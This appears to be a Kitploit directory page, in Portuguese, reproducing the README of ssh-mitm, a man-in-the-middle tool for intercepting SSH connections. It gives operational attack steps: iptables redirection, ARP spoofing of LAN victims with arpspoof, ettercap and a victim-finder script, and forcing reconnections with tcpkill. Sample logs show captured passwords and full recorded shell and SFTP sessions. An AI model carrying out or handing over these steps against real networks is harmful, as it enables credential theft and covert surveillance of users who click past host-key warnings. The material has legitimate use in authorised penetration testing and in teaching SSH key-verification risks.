Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ssh-mitm — Ferramenta de man-in-the-middle para SSH | Kitploit
Ferramentas/GitHubGitHub/jtesta/ssh-mitm
Quebra de SenhasReconhecimentoEvasão de IDS/IPSMovimento LateralColeta de InformaçõesSegurança de RedeTestes de PenetraçãoAutenticaçãoRed TeamingArchived
GitHubjtesta/ssh-mitm

ssh-mitm

Ferramenta de man-in-the-middle para SSH

1.7k2137há 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

SSH MITM v2.3-dev

Autor: Joe Testa (@therealjoetesta)

Visão Geral

Esta ferramenta de teste de penetração permite que um auditor intercepte conexões SSH. Um patch aplicado ao código fonte do OpenSSH v7.5p1 faz com que ele atue como um proxy entre a vítima e seu servidor SSH pretendido; todas as senhas e sessões em texto simples são registradas em disco.

Naturalmente, o cliente SSH da vítima reclamará que a chave do servidor mudou. Mas como 99,99999% das vezes isso é causado por uma ação legítima (reinstalação do SO, mudança de configuração, etc.), muitos/maioria dos usuários ignorará o aviso e continuará.

NOTA: Execute o sshd_mitm modificado apenas em uma VM ou contêiner! Edições ad hoc foram feitas nos fontes do OpenSSH em regiões críticas, sem consideração de suas implicações de segurança. Não é difícil imaginar que essas edições introduzam vulnerabilidades graves.

Registro de Alterações

  • v2.3: ???: Adicionado suporte para Linux Mint 20 e Ubuntu 20.
  • v2.2: 16 de setembro de 2019: Corrigida instalação no Kali e Linux Mint 19. Corrigido um prompt de senha duplicado que ocorria em certas condições. Melhorias no registro de erros.
  • v2.1: 4 de janeiro de 2018: Habilitada execução de comandos não interativos, conexões com servidores antigos com algoritmos fracos agora podem ser interceptadas, corrigidos dois grandes bugs que faziam o AppArmor matar algumas conexões, e melhorias no registro de erros.
  • v2.0: 12 de setembro de 2017: Adicionado suporte completo a SFTP(!) e confinamento AppArmor.
  • v1.1: 6 de julho de 2017: Removidas dependências de privilégios de root, adicionado instalador automático, adicionado suporte ao Kali Linux, adicionado script JoesAwesomeSSHMITMVictimFinder.py para encontrar alvos potenciais em uma LAN.
  • v1.0: 16 de maio de 2017: Revisão inicial.

Executando a Imagem Docker

A maneira mais rápida e fácil de começar é usar a imagem Docker com SSH MITM pré-construído.

1.) Obtenha a imagem do Dockerhub com:

root@kitploit:~
$ docker pull positronsecurity/ssh-mitm

2.) Em seguida, execute o contêiner com:

root@kitploit:~
$ mkdir -p ${PWD}/ssh_mitm_logs && docker run --network=host -it --rm -v ${PWD}/ssh_mitm_logs:/home/ssh-mitm/log positronsecurity/ssh-mitm

3.) Ative o encaminhamento IP e as rotas NAT na sua máquina host:

root@kitploit:~
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -P FORWARD ACCEPT
# iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
# iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222

4.) Encontre alvos na LAN e faça ARP spoofing neles (veja abaixo).

5.) Sessões Shell e SFTP serão registradas no diretório ssh_mitm_logs.

Configuração Inicial

Como root, execute o script install.sh. Isso instalará os pré-requisitos dos repositórios, baixará o arquivo do OpenSSH, verificará sua assinatura, compilará e inicializará um ambiente não privilegiado para execução.

Encontrando Alvos

O script JoesAwesomeSSHMITMVictimFinder.py torna muito fácil encontrar alvos em uma LAN. Ele fará ARP spoofing em um bloco de IPs e farejará tráfego SSH por um curto período antes de passar para o próximo bloco. Quaisquer conexões SSH ativas originadas de dispositivos na LAN são reportadas.

Por padrão, JoesAwesomeSSHMITMVictimFinder.py fará ARP spoofing e farejará apenas 5 IPs por vez durante 20 segundos antes de passar para o próximo bloco de 5. Esses parâmetros podem ser ajustados, embora exista uma compensação: quanto mais IPs forem falsificados por vez, maior a chance de capturar uma conexão SSH ativa, mas também maior a carga em sua frágil interface de rede. Sob carga muito alta, sua interface começará a descartar quadros, causando uma negação de serviço e levantando suspeitas (isso é ruim). Os padrões não devem causar problemas na maioria dos casos, embora leve mais tempo para encontrar alvos. O tamanho do bloco pode ser aumentado com segurança em redes de baixa utilização.

Exemplo:

root@kitploit:~
# ./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53
Found local address 10.11.12.141 and adding to ignore list.
Using network CIDR 10.11.12.141/24.
Found default gateway: 10.11.12.1
IP blocks of size 5 will be spoofed for 20 seconds each.
The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141


Local clients:
  * 10.11.12.70 -> 174.129.77.155:22
  * 10.11.12.43 -> 10.11.99.2:22

A saída acima mostra que dois dispositivos na LAN criaram conexões SSH (10.11.12.43 e 10.11.12.70); estes podem ser alvos para um ataque man-in-the-middle. Observe, no entanto, que para potencialmente interceptar credenciais, você terá que esperar que eles iniciem novas conexões. Pentesters impacientes podem optar por forçar o encerramento de sessões SSH existentes (usando a ferramenta tcpkill), fazendo com que os clientes criem novas imediatamente...

Executando o Ataque

1.) Depois de concluir a configuração inicial e encontrar uma lista de vítimas potenciais (veja acima), execute start.sh como root. Isso iniciará o sshd_mitm, ativará o encaminhamento IP e configurará a interceptação de pacotes SSH através do iptables.

2.) Faça ARP spoofing no(s) alvo(s) (Dica profissional: NÃO falsifique tudo! Sua frágil interface de rede provavelmente não conseguirá lidar com o tráfego de toda a rede de uma só vez. Apenas falsifique alguns IPs por vez):

root@kitploit:~
arpspoof -r -t 192.168.x.1 192.168.x.5

Alternativamente, você pode usar a ferramenta ettercap:

root@kitploit:~
ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//

3.) Monitore o auth.log. As senhas interceptadas aparecerão aqui:

root@kitploit:~
sudo tail -f /var/log/auth.log

4.) Uma vez estabelecida a sessão, um registro completo de toda entrada e saída pode ser encontrado em /home/ssh-mitm/. As sessões SSH são registradas como shell_session_*.txt, e as sessões SFTP como sftp_session_*.html (com os arquivos transferidos armazenados em um diretório correspondente).

Resultados de Exemplo

Após o sucesso, /var/log/auth.log terá linhas que registram a senha, assim:

root@kitploit:~
Sep 11 19:28:14 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]

Além disso, toda a sessão SSH da vítima é registrada:

root@kitploit:~
# cat /home/ssh-mitm/shell_session_0.txt
Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
Last login: Thu Aug 31 17:42:38 2017
OpenBSD 6.1 (GENERIC.MP) #21: Wed Aug 30 08:21:38 CEST 2017

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

jdog@jefferson ~ $ ppss
  PID TT  STAT       TIME COMMAND
59264 p0  Ss      0:00.02 -bash (bash)
52132 p0  R+p     0:00.00 ps
jdog@jefferson ~ $ iidd
uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)
jdog@jefferson ~ $ sssshh  jjtteessttaa@@mmaaggiiccbbooxx
jtesta@magicbox's password: ROFLC0PTER!!1juan

Observe que os caracteres nos comandos do usuário aparecem duas vezes no arquivo porque a entrada do usuário é registrada, assim como a saída do shell (que ecoa os caracteres de volta). Observe que quando programas como sudo e ssh desabilitam temporariamente o eco para ler uma senha, caracteres duplicados não são registrados.

Toda atividade SFTP também é capturada. Use um navegador para visualizar sftp_session_0.html. Ele contém um registro de comandos, com links para arquivos enviados e baixados:

root@kitploit:~
# cat /home/ssh-mitm/sftp_session_0.txt
<html><pre>Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
> realpath "." (Result: /home/jdog)
> realpath "/home/jdog/." (Result: /home/jdog)
> ls /home/jdog
drwxr-xr-x    4 jdog     jdog         4096 Sep 11 16:12 .
drwxr-xr-x    4 root     root         4096 Sep  6 11:53 ..
-rw-r--r--    1 jdog     jdog         3771 Aug 31  2015 .bashrc
-rw-r--r--    1 jdog     jdog          220 Aug 31  2015 .bash_logout
drwx------    2 jdog     jdog         4096 Sep  6 11:54 .cache
-rw-r--r--    1 jdog     jdog          655 May 16 08:49 .profile
drwx------    2 jdog     jdog         4096 Sep  8 16:59 .ssh
-rw-rw-r--    1 jdog     jdog      5242880 Sep  8 15:52 file
-rw-rw-r--    1 jdog     jdog        43131 Sep 10 10:47 file2
-rw-rw-r--    1 jdog     jdog           83 Sep  6 12:56 file3
-rw-rw-r--    1 jdog     jdog      3048960 Sep 11 13:51 file4

> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> put <a href="https://github.com/jtesta/ssh-mitm/blob/master/sftp_session_0/file5">/home/jdog/file5</a>
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> stat "/home/jdog/file5" (Result: flags: 15; size: 854072; uid: 1001; gid: 1001; perm: 0100664, atime: 1505172831, mtime: 1505172831)
> setstat "/home/jdog/file5" (Result: flags: 4; size: 0; uid: 0; gid: 0; perm: 0100700, atime: 0, mtime: 0)
</pre></html>

Documentação do Desenvolvedor

Em lol.h existem duas definições: DEBUG_HOST e DEBUG_PORT. Ative-as e defina o hostname para um servidor de teste. Agora você pode conectar-se diretamente ao sshd_mitm sem usar ARP spoofing para testar suas alterações, por exemplo:

root@kitploit:~
ssh -p 2222 valid_user_on_debug_host@localhost

Para testar alterações no código fonte do OpenSSH, use o script dev/redeploy.sh.

Para ver um diff das alterações não commitadas, use o script dev/make_diff_of_uncommitted_changes.sh.

Para regenerar um patch completo para os fontes do OpenSSH, use o script dev/regenerate_patch.sh.

Baixar ferramenta